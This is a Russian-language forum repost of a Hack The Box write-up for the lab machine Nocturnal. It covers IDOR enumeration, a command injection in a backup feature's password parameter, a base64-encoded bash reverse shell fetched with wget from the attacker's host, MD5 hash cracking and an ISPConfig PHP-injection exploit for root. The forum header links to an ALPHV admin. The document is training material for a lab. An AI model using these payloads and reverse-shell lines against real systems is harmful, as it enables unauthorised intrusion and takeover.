• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем машину на Linux через ISPConfig

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,311
Розыгрыши
0
Реакции
591
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как IDOR может быть проэксплуатирован для получения приватных данных других пользователей. Затем используем RCE-уязвимость в функции бэкапа сайта, проникнем на веб‑сервер и повысим привилегии через PHP Code Injection в популярном сервисе для хостеров ISPConfig.
Наша конечная цель — получение прав суперпользователя на машине Nocturnal с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.64 nocturnal.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 8.2p1;
  • 80 — веб‑сервер Nginx 1.18.0.
Главная страница сайта
Главная страница сайта

Точка входа​

На сайте можно зарегистрироваться, а для нас это просто обязательно, ведь авторизованному пользователю будет доступно больше возможностей.

На главной странице появилась форма загрузки файла.

Главная страница авторизованного пользователя
Главная страница авторизованного пользователя
При попытке загрузить файл получаем ошибку, в которой перечислены разрешенные форматы файлов.

Для просмотра ссылки Войди или Зарегистрируйся
Для теста загружаем любой подходящий файл. После загрузки он отобразится в списке.

Результат загрузки файлов
Результат загрузки файлов

Интерес представляет ссылка на загруженный файл Для просмотра ссылки Войди или Зарегистрируйся. Помимо файла, в ней указано и имя пользователя. Если здесь не реализован должный контроль, то мы сможем получить файлы других пользователей.

Ссылка на загруженный файл
Ссылка на загруженный файл

Отправим запрос на получение файла в Burp Repeater (комбинации клавиш Ctrl-R и Ctrl-Shift-R) и изменим имя пользователя на любое несуществующее. В ответе получаем ошибку User not found. Раз так, то мы сможем легко перебрать всех зарегистрированных пользователей и посмотреть, будет ли возникать ошибка.

Запрос несуществующего пользователя
Запрос несуществующего пользователя

Отправляем запрос в Burp Intruder (Ctrl-I и Ctrl-Shift-I) и брутим пользователей по списку. В итоге получаем имена пользователей. В профиле amanda есть приватный документ.

Burp Intruder — вкладка Positions
Burp Intruder — вкладка Positions

Burp Intruder — результат подбора
Burp Intruder — результат подбора

Скачиваем его и находим пароль, который, судя по содержимому документа, используется во всех сервисах.

Содержимое скачанного документа
Содержимое скачанного документа

Точка опоры​

С полученными учетными данными авторизуемся на сайте от имени пользователя amanda.

Профиль пользователя amanda
Профиль пользователя amanda

На главной странице есть ссылка на панель администратора. Там нас встречают файлы с исходным кодом сервиса. Мы можем сделать резервную копию файлов и скачать все содержимое как архив.

Панель администратора
Панель администратора

На своей машине открываем каталог со скачанными файлами в любой удобной среде разработки, например VSCodium, и анализируем исходные коды. В файле admin.php находим функцию cleanEntry (строки 44–54), которая используется для фильтрации пробела и следующих символов:

; & | $ ` { } &&
Содержимое файла admin.php
Содержимое файла admin.php

Эти символы можно было бы использовать для внедрения команд ОС. Просматриваем код дальше и находим место, куда потенциально можно внедрить команду. Через proc_open в командной оболочке выполняется команда zip для архивирования каталога с файлами сайта (строка 221).

zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &
Содержимое файла admin.php
Содержимое файла admin.php

В этой команде мы можем контролировать значение переменной password. Среди фильтруемых символов нет перевода строки (код 0A), а вместо пробела будем использовать табуляцию (код 09). Переходим в Burp Repeater и в запросе для создания резервной копии изменяем параметр password. В ответе сервера получаем результат выполнения команды id.

%0Abash%09-c%09"id"%0A
Ответ сервера
Ответ сервера
Запустим листенер на своем хосте:

pwncat-cs -lp 4321
Затем веб‑сервер:

python3 -m http.server
В каталоге веб‑сервера сохраняем файл rs с реверс‑шеллом.

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDMyMSAwPiYx | base64 -d | bash
Когда все готово, через уязвимость на сайте выполняем три команды: скачать реверс‑шелл, дать право на исполнение и выполнить команду. Так мы получаем сессию от имени пользователя веб‑сервера www-data.

Код:
%0Abash%09-c%09"wget%0910.10.14.103:8000/rs"%0A
%0Abash%09-c%09"chmod%09777%09rs"%0A
%0Abash%09-c%09"bash%09rs"%0A
Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​

Для продвижения к учетной записи пользователя чаще всего нужно искать учетные данные для разных баз, сервисов и служб. Так как на веб‑сервере работает сайт, то первая мысль — читать настройки сайта для подключения базы данных, а также содержимое самой базы данных. Но в данном случае используется файл базы данных.

Содержимое каталога nocturnal_database
Содержимое каталога nocturnal_database

Скачиваем файл nocturnal_database.db на свою машину, открываем в Для просмотра ссылки Войди или Зарегистрируйся и находим таблицу users.

Содержимое таблицы users
Содержимое таблицы users

В таблице — список логинов и хешей, скорее всего MD5. Проверим их по онлайн‑базе Для просмотра ссылки Войди или Зарегистрируйся.

Результат проверки хешей
Результат проверки хешей

Так мы получаем пароль пользователя tobias. Авторизуемся по SSH от его имени и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я обычно использую для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем посмотрим, что интересного он нашел.

В системе есть пользователи ispconfig и ispapps.

Пользователи с консолью
Пользователи с консолью

В каталоге веб‑сервера находим ссылку на приложение ispconfig.

Содержимое каталога веб-сервера
Содержимое каталога веб‑сервера

На сервере прослушивается веб‑порт 8080.

Прослушиваемые порты
Прослушиваемые порты

Так как порт прослушивается для адреса 127.0.0.1, необходимо прокинуть порт 8080 на свой хост с помощью SSH.

ssh [EMAIL]tobias@nocturnal.htb[/EMAIL] -L 8080:127.0.0.1:8080
Теперь весь трафик, который мы пошлем на локальный порт 8080, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Сделав это, можем зайти на сервис через браузер.

Страница авторизации ISPConfig
Страница авторизации ISPConfig

Нас встретила форма авторизации ISPConfig. Используем имеющийся у нас пароль и авторизуемся от имени пользователя admin.

Панель администратора ISPConfig
Панель администратора ISPConfig

На странице Help находим версию приложения — 3.2.10p1.

Страница Help
Страница Help

Когда мы знаем, какой софт установлен на сервере и какая у него версия, стоит сразу искать известные уязвимости и готовые эксплоиты.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

По первой Для просмотра ссылки Войди или Зарегистрируйся из Google описана уязвимость Для просмотра ссылки Войди или Зарегистрируйся. Если в этой версии ISPConfig активна опция admin_allow_langedit, то администратор может исполнять PHP-код в языковом редакторе. Воспользуемся готовым Для просмотра ссылки Войди или Зарегистрируйся для получения псевдошелла от имени root.

python3 exploit.py [URL]http://127.0.0.1:8080/[/URL] admin slowmotionapocalypse
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу